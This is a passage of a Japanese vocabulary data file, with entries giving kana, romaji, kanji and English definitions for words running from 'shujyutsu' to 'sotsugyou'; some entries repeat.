household\"\n\t},\n\n\t{\n\t\t'kana':'しゅじゅつ',\n\t\t'romaji':'shujyutsu',\n\t\t'kanji':'手術',\n\t\t'definition':\"surgical operation\"\n\t},\n\n\t{\n\t\t'kana':'しゅかん',\n\t\t'romaji':'shukan',\n\t\t'kanji':'主観',\n\t\t'definition':\"subjectivity;subject;ego\"\n\t},\n\n\t{\n\t\t'kana':'しゅけん',\n\t\t'romaji':'shuken',\n\t\t'kanji':'主権',\n\t\t'definition':\"sovereignty;supremacy;dominion\"\n\t},\n\n\t{\n\t\t'kana':'しゅっけつ',\n\t\t'romaji':'shukketsu',\n\t\t'kanji':'出血',\n\t\t'definition':\"bleeding;haemorrhage\"\n\t},\n\n\t{\n\t\t'kana':'しゅっきん',\n\t\t'romaji':'shukkin',\n\t\t'kanji':'出勤',\n\t\t'definition':\"going to work;at work\"\n\t},\n\n\t{\n\t\t'kana':'しゅくだい',\n\t\t'romaji':'shukudai',\n\t\t'kanji':'宿題',\n\t\t'definition':\"homework\"\n\t},\n\n\t{\n\t\t'kana':'しゅくが',\n\t\t'romaji':'shukuga',\n\t\t'kanji':'祝賀',\n\t\t'definition':\"celebration;congratulations\"\n\t},\n\n\t{\n\t\t'kana':'しゅくはく',\n\t\t'romaji':'shukuhaku',\n\t\t'kanji':'宿泊',\n\t\t'definition':\"lodging\"\n\t},\n\n\t{\n\t\t'kana':'しゅくじつ',\n\t\t'romaji':'shukujitsu',\n\t\t'kanji':'祝日',\n\t\t'definition':\"national holiday\"\n\t},\n\n\t{\n\t\t'kana':'しゅくめい',\n\t\t'romaji':'shukumei',\n\t\t'kanji':'宿命',\n\t\t'definition':\"fate;destiny;predestination\"\n\t},\n\n\t{\n\t\t'kana':'しゅくしょう',\n\t\t'romaji':'shukushou',\n\t\t'kanji':'縮小',\n\t\t'definition':\"reduction;curtailment\"\n\t},\n\n\t{\n\t\t'kana':'しゅみ',\n\t\t'romaji':'shumi',\n\t\t'kanji':'趣味',\n\t\t'definition':\"hobby;tastes;preference\"\n\t},\n\n\t{\n\t\t'kana':'しゅにん',\n\t\t'romaji':'shunin',\n\t\t'kanji':'主任',\n\t\t'definition':\"person in charge;responsible official\"\n\t},\n\n\t{\n\t\t'kana':'しゅんかん',\n\t\t'romaji':'shunkan',\n\t\t'kanji':'瞬間',\n\t\t'definition':\"moment;second;instant\"\n\t},\n\n\t{\n\t\t'kana':'しゅのう',\n\t\t'romaji':'shunou',\n\t\t'kanji':'首脳',\n\t\t'definition':\"head;brains\"\n\t},\n\n\t{\n\t\t'kana':'しゅっぴ',\n\t\t'romaji':'shupi',\n\t\t'kanji':'出費',\n\t\t'definition':\"expenses;disbursements\"\n\t},\n\n\t{\n\t\t'kana':'しゅっぱん',\n\t\t'romaji':'shuppan',\n\t\t'kanji':'出版',\n\t\t'definition':\"publication\"\n\t},\n\n\t{\n\t\t'kana':'しゅっぱつ',\n\t\t'romaji':'shuppatsu',\n\t\t'kanji':'出発',\n\t\t'definition':\"departure\"\n\t},\n\n\t{\n\t\t'kana':'しゅっぴん',\n\t\t'romaji':'shuppin',\n\t\t'kanji':'出品',\n\t\t'definition':\"exhibit;display\"\n\t},\n\n\t{\n\t\t'kana':'しゅるい',\n\t\t'romaji':'shurui',\n\t\t'kanji':'種類',\n\t\t'definition':\"variety;kind;type;category;counter for different sorts of things\"\n\t},\n\n\t{\n\t\t'kana':'しゅさい',\n\t\t'romaji':'shusai',\n\t\t'kanji':'主催',\n\t\t'definition':\"organization;sponsorship\"\n\t},\n\n\t{\n\t\t'kana':'しゅっせ',\n\t\t'romaji':'shuse',\n\t\t'kanji':'出世',\n\t\t'definition':\"promotion;successful career;eminence\"\n\t},\n\n\t{\n\t\t'kana':'しゅっしゃ',\n\t\t'romaji':'shusha',\n\t\t'kanji':'出社',\n\t\t'definition':\"arrival (in a country at work etc.)\"\n\t},\n\n\t{\n\t\t'kana':'しゅし',\n\t\t'romaji':'shushi',\n\t\t'kanji':'趣旨',\n\t\t'definition':\"object;meaning\"\n\t},\n\n\t{\n\t\t'kana':'しゅしょく',\n\t\t'romaji':'shushoku',\n\t\t'kanji':'主食',\n\t\t'definition':\"staple food\"\n\t},\n\n\t{\n\t\t'kana':'しゅっしょう',\n\t\t'romaji':'shushou',\n\t\t'kanji':'出生',\n\t\t'definition':\"birth\"\n\t},\n\n\t{\n\t\t'kana':'しゅしょう',\n\t\t'romaji':'shushou',\n\t\t'kanji':'首相',\n\t\t'definition':\"Prime Minister\"\n\t},\n\n\t{\n\t\t'kana':'しゅっさん',\n\t\t'romaji':'shussan',\n\t\t'kanji':'出産',\n\t\t'definition':\"(child)birth;delivery;production (of goods)\"\n\t},\n\n\t{\n\t\t'kana':'しゅっせき',\n\t\t'romaji':'shusseki',\n\t\t'kanji':'出席',\n\t\t'definition':\"attendance;presence\"\n\t},\n\n\t{\n\t\t'kana':'しゅっしん',\n\t\t'romaji':'shusshin',\n\t\t'kanji':'出身',\n\t\t'definition':\"graduate from;come from\"\n\t},\n\n\t{\n\t\t'kana':'しゅたい',\n\t\t'romaji':'shutai',\n\t\t'kanji':'主体',\n\t\t'definition':\"subject;main constituent\"\n\t},\n\n\t{\n\t\t'kana':'しゅと',\n\t\t'romaji':'shuto',\n\t\t'kanji':'首都',\n\t\t'definition':\"capital city\"\n\t},\n\n\t{\n\t\t'kana':'しゅつだい',\n\t\t'romaji':'shutsudai',\n\t\t'kanji':'出題',\n\t\t'definition':\"proposing a question\"\n\t},\n\n\t{\n\t\t'kana':'しゅつどう',\n\t\t'romaji':'shutsudou',\n\t\t'kanji':'出動',\n\t\t'definition':\"sailing;marching;going out\"\n\t},\n\n\t{\n\t\t'kana':'しゅつえん',\n\t\t'romaji':'shutsuen',\n\t\t'kanji':'出演',\n\t\t'definition':\"performance;stage appearance\"\n\t},\n\n\t{\n\t\t'kana':'しゅつげん',\n\t\t'romaji':'shutsugen',\n\t\t'kanji':'出現',\n\t\t'definition':\"appearance;arrival;make one's appearance\"\n\t},\n\n\t{\n\t\t'kana':'しゅつじょう',\n\t\t'romaji':'shutsujyou',\n\t\t'kanji':'出場',\n\t\t'definition':\"(stage) appearance;participation;performance\"\n\t},\n\n\t{\n\t\t'kana':'しゅう',\n\t\t'romaji':'shuu',\n\t\t'kanji':'周',\n\t\t'definition':\"circuit;lap;circumference;vicinity;Chou (dynasty)\"\n\t},\n\n\t{\n\t\t'kana':'しゅう',\n\t\t'romaji':'shuu',\n\t\t'kanji':'周',\n\t\t'definition':\"circuit;lap;circumference;vicinity;Chou (dynasty)\"\n\t},\n\n\t{\n\t\t'kana':'しゅう',\n\t\t'romaji':'shuu',\n\t\t'kanji':'州',\n\t\t'definition':\"state;province\"\n\t},\n\n\t{\n\t\t'kana':'しゅう',\n\t\t'romaji':'shuu',\n\t\t'kanji':'週',\n\t\t'definition':\"week\"\n\t},\n\n\t{\n\t\t'kana':'しゅう',\n\t\t'romaji':'shuu',\n\t\t'kanji':'衆',\n\t\t'definition':\"masses;great number;the people\"\n\t},\n\n\t{\n\t\t'kana':'しゅうちゅう',\n\t\t'romaji':'shuuchuu',\n\t\t'kanji':'集中',\n\t\t'definition':\"concentration;focusing the mind\"\n\t},\n\n\t{\n\t\t'kana':'しゅうだん',\n\t\t'romaji':'shuudan',\n\t\t'kanji':'集団',\n\t\t'definition':\"group;mass\"\n\t},\n\n\t{\n\t\t'kana':'しゅうえき',\n\t\t'romaji':'shuueki',\n\t\t'kanji':'収益',\n\t\t'definition':\"earnings;proceeds;returns\"\n\t},\n\n\t{\n\t\t'kana':'しゅうがく',\n\t\t'romaji':'shuugaku',\n\t\t'kanji':'修学',\n\t\t'definition':\"learning\"\n\t},\n\n\t{\n\t\t'kana':'しゅうげき',\n\t\t'romaji':'shuugeki',\n\t\t'kanji':'襲撃',\n\t\t'definition':\"attack;charge;raid\"\n\t},\n\n\t{\n\t\t'kana':'しゅうぎいん',\n\t\t'romaji':'shuugiin',\n\t\t'kanji':'衆議院',\n\t\t'definition':\"Lower House;House of Representatives\"\n\t},\n\n\t{\n\t\t'kana':'しゅうごう',\n\t\t'romaji':'shuugou',\n\t\t'kanji':'集合',\n\t\t'definition':\"gathering;assembly;meeting;set (math)\"\n\t},\n\n\t{\n\t\t'kana':'しゅうぎょう',\n\t\t'romaji':'shuugyou',\n\t\t'kanji':'修行',\n\t\t'definition':\"pursuit of knowledge;studying;learning;training;ascetic practice;discipline\"\n\t},\n\n\t{\n\t\t'kana':'しゅうぎょう',\n\t\t'romaji':'shuugyou',\n\t\t'kanji':'就業',\n\t\t'definition':\"employment;starting work\"\n\t},\n\n\t{\n\t\t'kana':'しゅうへん',\n\t\t'romaji':'shuuhen',\n\t\t'kanji':'周辺',\n\t\t'definition':\"circumference;outskirts;environs;(computer) peripheral\"\n\t},\n\n\t{\n\t\t'kana':'しゅうい',\n\t\t'romaji':'shuui',\n\t\t'kanji':'周囲',\n\t\t'definition':\"surroundings;circumference;environs\"\n\t},\n\n\t{\n\t\t'kana':'しゅうじ',\n\t\t'romaji':'shuuji',\n\t\t'kanji':'習字',\n\t\t'definition':\"penmanship\"\n\t},\n\n\t{\n\t\t'kana':'しゅうじつ',\n\t\t'romaji':'shuujitsu',\n\t\t'kanji':'終日',\n\t\t'definition':\"all day\"\n\t},\n\n\t{\n\t\t'kana':'しゅうじゃく',\n\t\t'romaji':'shuujyaku',\n\t\t'kanji':'執着',\n\t\t'definition':\"attachment;adhesion;tenacity\"\n\t},\n\n\t{\n\t\t'kana':'しゅうかい',\n\t\t'romaji':'shuukai',\n\t\t'kanji':'集会',\n\t\t'definition':\"meeting;assembly\"\n\t},\n\n\t{\n\t\t'kana':'しゅうかい',\n\t\t'romaji':'shuukai',\n\t\t'kanji':'集会',\n\t\t'definition':\"meeting;assembly\"\n\t},\n\n\t{\n\t\t'kana':'しゅうかく',\n\t\t'romaji':'shuukaku',\n\t\t'kanji':'収穫',\n\t\t'definition':\"harvest;crop;ingathering\"\n\t},\n\n\t{\n\t\t'kana':'しゅうかん',\n\t\t'romaji':'shuukan',\n\t\t'kanji':'習慣',\n\t\t'definition':\"custom;habit;manners\"\n\t},\n\n\t{\n\t\t'kana':'しゅうかん',\n\t\t'romaji':'shuukan',\n\t\t'kanji':'週間',\n\t\t'definition':\"week;weekly\"\n\t},\n\n\t{\n\t\t'kana':'しゅうけい',\n\t\t'romaji':'shuukei',\n\t\t'kanji':'集計',\n\t\t'definition':\"totalization;aggregate\"\n\t},\n\n\t{\n\t\t'kana':'しゅうき',\n\t\t'romaji':'shuuki',\n\t\t'kanji':'周期',\n\t\t'definition':\"cycle;period\"\n\t},\n\n\t{\n\t\t'kana':'しゅうきん',\n\t\t'romaji':'shuukin',\n\t\t'kanji':'集金',\n\t\t'definition':\"money collection\"\n\t},\n\n\t{\n\t\t'kana':'しゅうきょう',\n\t\t'romaji':'shuukyou',\n\t\t'kanji':'宗教',\n\t\t'definition':\"religion\"\n\t},\n\n\t{\n\t\t'kana':'しゅうにん',\n\t\t'romaji':'shuunin',\n\t\t'kanji':'就任',\n\t\t'definition':\"inauguration;assumption of office\"\n\t},\n\n\t{\n\t\t'kana':'しゅうにゅう',\n\t\t'romaji':'shuunyuu',\n\t\t'kanji':'収入',\n\t\t'definition':\"income;receipts;revenue\"\n\t},\n\n\t{\n\t\t'kana':'しゅうり',\n\t\t'romaji':'shuuri',\n\t\t'kanji':'修理',\n\t\t'definition':\"repairing;mending\"\n\t},\n\n\t{\n\t\t'kana':'しゅうりょう',\n\t\t'romaji':'shuuryou',\n\t\t'kanji':'終了',\n\t\t'definition':\"end;close;termination\"\n\t},\n\n\t{\n\t\t'kana':'しゅうりょう',\n\t\t'romaji':'shuuryou',\n\t\t'kanji':'修了',\n\t\t'definition':\"completion (of a course)\"\n\t},\n\n\t{\n\t\t'kana':'しゅうせい',\n\t\t'romaji':'shuusei',\n\t\t'kanji':'修正',\n\t\t'definition':\"amendment;correction;revision;modification;alteration;retouching;update\"\n\t},\n\n\t{\n\t\t'kana':'しゅうし',\n\t\t'romaji':'shuushi',\n\t\t'kanji':'修士',\n\t\t'definition':\"Masters degree program\"\n\t},\n\n\t{\n\t\t'kana':'しゅうし',\n\t\t'romaji':'shuushi',\n\t\t'kanji':'終始',\n\t\t'definition':\"beginning and end;from beginning to end;doing a thing from beginning to end\"\n\t},\n\n\t{\n\t\t'kana':'しゅうし',\n\t\t'romaji':'shuushi',\n\t\t'kanji':'収支',\n\t\t'definition':\"income and expenditure\"\n\t},\n\n\t{\n\t\t'kana':'しゅうしょく',\n\t\t'romaji':'shuushoku',\n\t\t'kanji':'就職',\n\t\t'definition':\"finding employment;inauguration\"\n\t},\n\n\t{\n\t\t'kana':'しゅうしょく',\n\t\t'romaji':'shuushoku',\n\t\t'kanji':'修飾',\n\t\t'definition':\"ornamentation;embellishment;decoration;adornment;polish up (writing);modification (gram)\"\n\t},\n\n\t{\n\t\t'kana':'しゅうしゅう',\n\t\t'romaji':'shuushuu',\n\t\t'kanji':'収集',\n\t\t'definition':\"gathering up;collection;accumulation\"\n\t},\n\n\t{\n\t\t'kana':'しゅうてん',\n\t\t'romaji':'shuuten',\n\t\t'kanji':'終点',\n\t\t'definition':\"terminus;last stop (e.g train)\"\n\t},\n\n\t{\n\t\t'kana':'しゅうよう',\n\t\t'romaji':'shuuyou',\n\t\t'kanji':'収容',\n\t\t'definition':\"accommodation;reception;seating;housing;custody;admission;entering (in a dictionary)\"\n\t},\n\n\t{\n\t\t'kana':'しゅうぜん',\n\t\t'romaji':'shuuzen',\n\t\t'kanji':'修繕',\n\t\t'definition':\"repair;mending\"\n\t},\n\n\t{\n\t\t'kana':'しゅやく',\n\t\t'romaji':'shuyaku',\n\t\t'kanji':'主役',\n\t\t'definition':\"leading part;leading actor (actress)\"\n\t},\n\n\t{\n\t\t'kana':'しゅよう',\n\t\t'romaji':'shuyou',\n\t\t'kanji':'主要',\n\t\t'definition':\"chief;main;principal;major\"\n\t},\n\n\t{\n\t\t'kana':'しゅざい',\n\t\t'romaji':'shuzai',\n\t\t'kanji':'取材',\n\t\t'definition':\"choice of subject;collecting data\"\n\t},\n\n\t{\n\t\t'kana':'そば',\n\t\t'romaji':'soba',\n\t\t'kanji':'蕎麦',\n\t\t'definition':\"soba (buckwheat noodles)\"\n\t},\n\n\t{\n\t\t'kana':'そびえる',\n\t\t'romaji':'sobieru',\n\t\t'kanji':'聳える',\n\t\t'definition':\"to rise;to tower;to soar\"\n\t},\n\n\t{\n\t\t'kana':'そぼ',\n\t\t'romaji':'sobo',\n\t\t'kanji':'祖母',\n\t\t'definition':\"grandmother\"\n\t},\n\n\t{\n\t\t'kana':'そぼく',\n\t\t'romaji':'soboku',\n\t\t'kanji':'素朴',\n\t\t'definition':\"simplicity;artlessness;naivete\"\n\t},\n\n\t{\n\t\t'kana':'そぼく',\n\t\t'romaji':'soboku',\n\t\t'kanji':'素朴',\n\t\t'definition':\"simplicity;artlessness;naivete\"\n\t},\n\n\t{\n\t\t'kana':'そち',\n\t\t'romaji':'sochi',\n\t\t'kanji':'措置',\n\t\t'definition':\"measure;step\"\n\t},\n\n\t{\n\t\t'kana':'そちら',\n\t\t'romaji':'sochira',\n\t\t'kanji':'其方',\n\t\t'definition':\"over there;the other\"\n\t},\n\n\t{\n\t\t'kana':'そっちょく',\n\t\t'romaji':'sochoku',\n\t\t'kanji':'率直',\n\t\t'definition':\"frankness;candour;openheartedness\"\n\t},\n\n\t{\n\t\t'kana':'そだち',\n\t\t'romaji':'sodachi',\n\t\t'kanji':'育ち',\n\t\t'definition':\"breeding;growth\"\n\t},\n\n\t{\n\t\t'kana':'そだてる',\n\t\t'romaji':'sodateru',\n\t\t'kanji':'育てる',\n\t\t'definition':\"to be brought up;to raise;to rear;to bring up\"\n\t},\n\n\t{\n\t\t'kana':'そだつ',\n\t\t'romaji':'sodatsu',\n\t\t'kanji':'育つ',\n\t\t'definition':\"to raise (child);to be brought up;to grow (up)\"\n\t},\n\n\t{\n\t\t'kana':'そで',\n\t\t'romaji':'sode',\n\t\t'kanji':'袖',\n\t\t'definition':\"sleeve\"\n\t},\n\n\t{\n\t\t'kana':'そえる',\n\t\t'romaji':'soeru',\n\t\t'kanji':'添える',\n\t\t'definition':\"to add to;to attach;to append;to accompany;to garnish;to imitate;to annex\"\n\t},\n\n\t{\n\t\t'kana':'そふ',\n\t\t'romaji':'sofu',\n\t\t'kanji':'祖父',\n\t\t'definition':\"grandfather\"\n\t},\n\n\t{\n\t\t'kana':'ソファー',\n\t\t'romaji':'sofwa-',\n\t\t'kanji':'',\n\t\t'definition':\"sofa;couch\"\n\t},\n\n\t{\n\t\t'kana':'ソフト',\n\t\t'romaji':'sohuto',\n\t\t'kanji':'',\n\t\t'definition':\"soft;soft hat;software\"\n\t},\n\n\t{\n\t\t'kana':'そっけない',\n\t\t'romaji':'sokkenai',\n\t\t'kanji':'素っ気ない',\n\t\t'definition':\"cold;short;curt;blunt\"\n\t},\n\n\t{\n\t\t'kana':'そっくり',\n\t\t'romaji':'sokkuri',\n\t\t'kanji':'',\n\t\t'definition':\"all;altogether;entirely;be just like;the splitting image of\"\n\t},\n\n\t{\n\t\t'kana':'そこ',\n\t\t'romaji':'soko',\n\t\t'kanji':'底',\n\t\t'definition':\"bottom;sole\"\n\t},\n\n\t{\n\t\t'kana':'そこ',\n\t\t'romaji':'soko',\n\t\t'kanji':'其処',\n\t\t'definition':\"that place;there\"\n\t},\n\n\t{\n\t\t'kana':'そこで',\n\t\t'romaji':'sokode',\n\t\t'kanji':'其処で',\n\t\t'definition':\"so (conj);accordingly;now;then;thereupon\"\n\t},\n\n\t{\n\t\t'kana':'そこなう',\n\t\t'romaji':'sokonau',\n\t\t'kanji':'損なう',\n\t\t'definition':\"to harm;to hurt;to injure;to damage;to fail in doing\"\n\t},\n\n\t{\n\t\t'kana':'そこら',\n\t\t'romaji':'sokora',\n\t\t'kanji':'其処ら',\n\t\t'definition':\"everywhere;somewhere;approximately;that area;around there\"\n\t},\n\n\t{\n\t\t'kana':'そくばく',\n\t\t'romaji':'sokubaku',\n\t\t'kanji':'束縛',\n\t\t'definition':\"restraint;shackles;restriction;confinement;binding\"\n\t},\n\n\t{\n\t\t'kana':'そくど',\n\t\t'romaji':'sokudo',\n\t\t'kanji':'速度',\n\t\t'definition':\"speed;velocity;rate\"\n\t},\n\n\t{\n\t\t'kana':'そくめん',\n\t\t'romaji':'sokumen',\n\t\t'kanji':'側面',\n\t\t'definition':\"side;flank;sidelight;lateral\"\n\t},\n\n\t{\n\t\t'kana':'そくりょく',\n\t\t'romaji':'sokuryoku',\n\t\t'kanji':'速力',\n\t\t'definition':\"speed\"\n\t},\n\n\t{\n\t\t'kana':'そくりょう',\n\t\t'romaji':'sokuryou',\n\t\t'kanji':'測量',\n\t\t'definition':\"measurement;surveying\"\n\t},\n\n\t{\n\t\t'kana':'そくしん',\n\t\t'romaji':'sokushin',\n\t\t'kanji':'促進',\n\t\t'definition':\"promotion;acceleration;encouragement;facilitation;spurring on\"\n\t},\n\n\t{\n\t\t'kana':'ソックス',\n\t\t'romaji':'sokusu',\n\t\t'kanji':'',\n\t\t'definition':\"socks\"\n\t},\n\n\t{\n\t\t'kana':'そくする',\n\t\t'romaji':'sokusuru',\n\t\t'kanji':'即する',\n\t\t'definition':\"to conform to;to agree with;to be adapted to;to be based on\"\n\t},\n\n\t{\n\t\t'kana':'そくたつ',\n\t\t'romaji':'sokutatsu',\n\t\t'kanji':'速達',\n\t\t'definition':\"express;special delivery\"\n\t},\n\n\t{\n\t\t'kana':'そくてい',\n\t\t'romaji':'sokutei',\n\t\t'kanji':'測定',\n\t\t'definition':\"measurement\"\n\t},\n\n\t{\n\t\t'kana':'そくざに',\n\t\t'romaji':'sokuzani',\n\t\t'kanji':'即座に',\n\t\t'definition':\"immediately;right away\"\n\t},\n\n\t{\n\t\t'kana':'そまる',\n\t\t'romaji':'somaru',\n\t\t'kanji':'染まる',\n\t\t'definition':\"to dye\"\n\t},\n\n\t{\n\t\t'kana':'そまつ',\n\t\t'romaji':'somatsu',\n\t\t'kanji':'粗末',\n\t\t'definition':\"crude;rough;plain;humble\"\n\t},\n\n\t{\n\t\t'kana':'そめる',\n\t\t'romaji':'someru',\n\t\t'kanji':'染める',\n\t\t'definition':\"to dye;to colour\"\n\t},\n\n\t{\n\t\t'kana':'そむく',\n\t\t'romaji':'somuku',\n\t\t'kanji':'背く',\n\t\t'definition':\"to run counter to;to go against;to disobey;to infringe\"\n\t},\n\n\t{\n\t\t'kana':'そなえる',\n\t\t'romaji':'sonaeru',\n\t\t'kanji':'備える',\n\t\t'definition':\"to furnish;to provide for;to equip;to install;to have ready;to prepare for;to possess;to have;to be endowed with;to be armed with\"\n\t},\n\n\t{\n\t\t'kana':'そなえつける',\n\t\t'romaji':'sonaetsukeru',\n\t\t'kanji':'備え付ける',\n\t\t'definition':\"to provide;to furnish;to equip;to install\"\n\t},\n\n\t{\n\t\t'kana':'そなわる',\n\t\t'romaji':'sonawaru',\n\t\t'kanji':'備わる',\n\t\t'definition':\"to be furnished with;to be endowed with;to possess;to be among;to be one of;to be possessed of\"\n\t},\n\n\t{\n\t\t'kana':'そんちょう',\n\t\t'romaji':'sonchou',\n\t\t'kanji':'尊重',\n\t\t'definition':\"respect;esteem;regard\"\n\t},\n\n\t{\n\t\t'kana':'そんがい',\n\t\t'romaji':'songai',\n\t\t'kanji':'損害',\n\t\t'definition':\"damage;injury;loss\"\n\t},\n\n\t{\n\t\t'kana':'そんけい',\n\t\t'romaji':'sonkei',\n\t\t'kanji':'尊敬',\n\t\t'definition':\"respect;esteem;reverence;honour\"\n\t},\n\n\t{\n\t\t'kana':'そんな',\n\t\t'romaji':'sonna',\n\t\t'kanji':'',\n\t\t'definition':\"such;like that;that sort of\"\n\t},\n\n\t{\n\t\t'kana':'その',\n\t\t'romaji':'sono',\n\t\t'kanji':'園',\n\t\t'definition':\"garden;park;plantation\"\n\t},\n\n\t{\n\t\t'kana':'そのほか',\n\t\t'romaji':'sonohoka',\n\t\t'kanji':'その外',\n\t\t'definition':\"besides;in addition;the rest\"\n\t},\n\n\t{\n\t\t'kana':'そのまま',\n\t\t'romaji':'sonomama',\n\t\t'kanji':'其の儘',\n\t\t'definition':\"without change;as it is (i.e. now)\"\n\t},\n\n\t{\n\t\t'kana':'そのため',\n\t\t'romaji':'sonotame',\n\t\t'kanji':'その為',\n\t\t'definition':\"hence;for that reason\"\n\t},\n\n\t{\n\t\t'kana':'そのうち',\n\t\t'romaji':'sonouchi',\n\t\t'kanji':'その内',\n\t\t'definition':\"eventually;sooner or later;of the previously mentioned\"\n\t},\n\n\t{\n\t\t'kana':'そのうえ',\n\t\t'romaji':'sonoue',\n\t\t'kanji':'その上',\n\t\t'definition':\"in addition;furthermore\"\n\t},\n\n\t{\n\t\t'kana':'そんしつ',\n\t\t'romaji':'sonshitsu',\n\t\t'kanji':'損失',\n\t\t'definition':\"loss\"\n\t},\n\n\t{\n\t\t'kana':'そんとく',\n\t\t'romaji':'sontoku',\n\t\t'kanji':'損得',\n\t\t'definition':\"loss and gain;advantage and disadvantage\"\n\t},\n\n\t{\n\t\t'kana':'そんざい',\n\t\t'romaji':'sonzai',\n\t\t'kanji':'存在',\n\t\t'definition':\"existence;being\"\n\t},\n\n\t{\n\t\t'kana':'そんぞく',\n\t\t'romaji':'sonzoku',\n\t\t'kanji':'存続',\n\t\t'definition':\"duration;continuance\"\n\t},\n\n\t{\n\t\t'kana':'そんぞく',\n\t\t'romaji':'sonzoku',\n\t\t'kanji':'存続',\n\t\t'definition':\"duration;continuance\"\n\t},\n\n\t{\n\t\t'kana':'そっぽ',\n\t\t'romaji':'sopo',\n\t\t'kanji':'外方',\n\t\t'definition':\"look (or turn) the other way\"\n\t},\n\n\t{\n\t\t'kana':'そらす',\n\t\t'romaji':'sorasu',\n\t\t'kanji':'逸らす',\n\t\t'definition':\"to turn away;to avert\"\n\t},\n\n\t{\n\t\t'kana':'それ',\n\t\t'romaji':'sore',\n\t\t'kanji':'其れ',\n\t\t'definition':\"it;that\"\n\t},\n\n\t{\n\t\t'kana':'それで',\n\t\t'romaji':'sorede',\n\t\t'kanji':'其れで',\n\t\t'definition':\"and (conj);thereupon;because of that\"\n\t},\n\n\t{\n\t\t'kana':'それでは',\n\t\t'romaji':'soredeha',\n\t\t'kanji':'其れでは',\n\t\t'definition':\"in that situation;well then ...\"\n\t},\n\n\t{\n\t\t'kana':'それでも',\n\t\t'romaji':'soredemo',\n\t\t'kanji':'其れでも',\n\t\t'definition':\"but (still);and yet;nevertheless;even so;notwithstanding\"\n\t},\n\n\t{\n\t\t'kana':'それほど',\n\t\t'romaji':'sorehodo',\n\t\t'kanji':'其れ程',\n\t\t'definition':\"to that degree;extent\"\n\t},\n\n\t{\n\t\t'kana':'それから',\n\t\t'romaji':'sorekara',\n\t\t'kanji':'其れから',\n\t\t'definition':\"and then;after that\"\n\t},\n\n\t{\n\t\t'kana':'それなら',\n\t\t'romaji':'sorenara',\n\t\t'kanji':'其れなら',\n\t\t'definition':\"If that's the case...;If so...;That being the case...\"\n\t},\n\n\t{\n\t\t'kana':'それに',\n\t\t'romaji':'soreni',\n\t\t'kanji':'其れに',\n\t\t'definition':\"besides;moreover\"\n\t},\n\n\t{\n\t\t'kana':'それる',\n\t\t'romaji':'soreru',\n\t\t'kanji':'逸れる',\n\t\t'definition':\"to stray (turn) from subject;to get lost;to go astray\"\n\t},\n\n\t{\n\t\t'kana':'それとも',\n\t\t'romaji':'soretomo',\n\t\t'kanji':'其れ共',\n\t\t'definition':\"or;or else\"\n\t},\n\n\t{\n\t\t'kana':'それゆえ',\n\t\t'romaji':'soreyue',\n\t\t'kanji':'其れ故',\n\t\t'definition':\"therefore;for that reason;so\"\n\t},\n\n\t{\n\t\t'kana':'それぞれ',\n\t\t'romaji':'sorezore',\n\t\t'kanji':'各々',\n\t\t'definition':\"each;every;either;respectively;severally\"\n\t},\n\n\t{\n\t\t'kana':'そり',\n\t\t'romaji':'sori',\n\t\t'kanji':'反り',\n\t\t'definition':\"warp;curvature;curve;arch\"\n\t},\n\n\t{\n\t\t'kana':'ソロ',\n\t\t'romaji':'soro',\n\t\t'kanji':'',\n\t\t'definition':\"solo\"\n\t},\n\n\t{\n\t\t'kana':'そろばん',\n\t\t'romaji':'soroban',\n\t\t'kanji':'算盤',\n\t\t'definition':\"abacus\"\n\t},\n\n\t{\n\t\t'kana':'そろえる',\n\t\t'romaji':'soroeru',\n\t\t'kanji':'揃える',\n\t\t'definition':\"to put things in order;to arrange;to make uniform;to get something ready\"\n\t},\n\n\t{\n\t\t'kana':'そろい',\n\t\t'romaji':'soroi',\n\t\t'kanji':'揃い',\n\t\t'definition':\"set;suit;uniform\"\n\t},\n\n\t{\n\t\t'kana':'そろそろ',\n\t\t'romaji':'sorosoro',\n\t\t'kanji':'徐々',\n\t\t'definition':\"gradually;steadily;quietly;slowly;soon\"\n\t},\n\n\t{\n\t\t'kana':'そろう',\n\t\t'romaji':'sorou',\n\t\t'kanji':'揃う',\n\t\t'definition':\"to become complete;to be equal;to be all present;to gather\"\n\t},\n\n\t{\n\t\t'kana':'そせん',\n\t\t'romaji':'sosen',\n\t\t'kanji':'祖先',\n\t\t'definition':\"ancestor\"\n\t},\n\n\t{\n\t\t'kana':'そし',\n\t\t'romaji':'soshi',\n\t\t'kanji':'阻止',\n\t\t'definition':\"obstruction;check;hindrance;prevention;interdiction\"\n\t},\n\n\t{\n\t\t'kana':'そしき',\n\t\t'romaji':'soshiki',\n\t\t'kanji':'組織',\n\t\t'definition':\"organization;system;construction\"\n\t},\n\n\t{\n\t\t'kana':'そして',\n\t\t'romaji':'soshite',\n\t\t'kanji':'然して',\n\t\t'definition':\"and\"\n\t},\n\n\t{\n\t\t'kana':'そしつ',\n\t\t'romaji':'soshitsu',\n\t\t'kanji':'素質',\n\t\t'definition':\"character;qualities;genius\"\n\t},\n\n\t{\n\t\t'kana':'そしょう',\n\t\t'romaji':'soshou',\n\t\t'kanji':'訴訟',\n\t\t'definition':\"litigation;lawsuit\"\n\t},\n\n\t{\n\t\t'kana':'そそぐ',\n\t\t'romaji':'sosogu',\n\t\t'kanji':'注ぐ',\n\t\t'definition':\"to pour (into);to irrigate;to pay;to fill;to feed (e.g. a fire)\"\n\t},\n\n\t{\n\t\t'kana':'そそぐ',\n\t\t'romaji':'sosogu',\n\t\t'kanji':'注ぐ',\n\t\t'definition':\"to pour (into);to irrigate;to pay;to fill;to feed (e.g. a fire)\"\n\t},\n\n\t{\n\t\t'kana':'そそっかしい',\n\t\t'romaji':'sosokkashii',\n\t\t'kanji':'',\n\t\t'definition':\"careless;thoughtless\"\n\t},\n\n\t{\n\t\t'kana':'ソース',\n\t\t'romaji':'so-su',\n\t\t'kanji':'',\n\t\t'definition':\"source\"\n\t},\n\n\t{\n\t\t'kana':'そと',\n\t\t'romaji':'soto',\n\t\t'kanji':'外',\n\t\t'definition':\"outside\"\n\t},\n\n\t{\n\t\t'kana':'そと',\n\t\t'romaji':'soto',\n\t\t'kanji':'外',\n\t\t'definition':\"outside\"\n\t},\n\n\t{\n\t\t'kana':'そと',\n\t\t'romaji':'soto',\n\t\t'kanji':'外',\n\t\t'definition':\"outside\"\n\t},\n\n\t{\n\t\t'kana':'そと',\n\t\t'romaji':'soto',\n\t\t'kanji':'外',\n\t\t'definition':\"outside\"\n\t},\n\n\t{\n\t\t'kana':'そっと',\n\t\t'romaji':'soto',\n\t\t'kanji':'',\n\t\t'definition':\"softly;secretly\"\n\t},\n\n\t{\n\t\t'kana':'そつぎょう',\n\t\t'romaji':'sotsugyou',\n\t\t'kanji':'卒業',\n\t\t'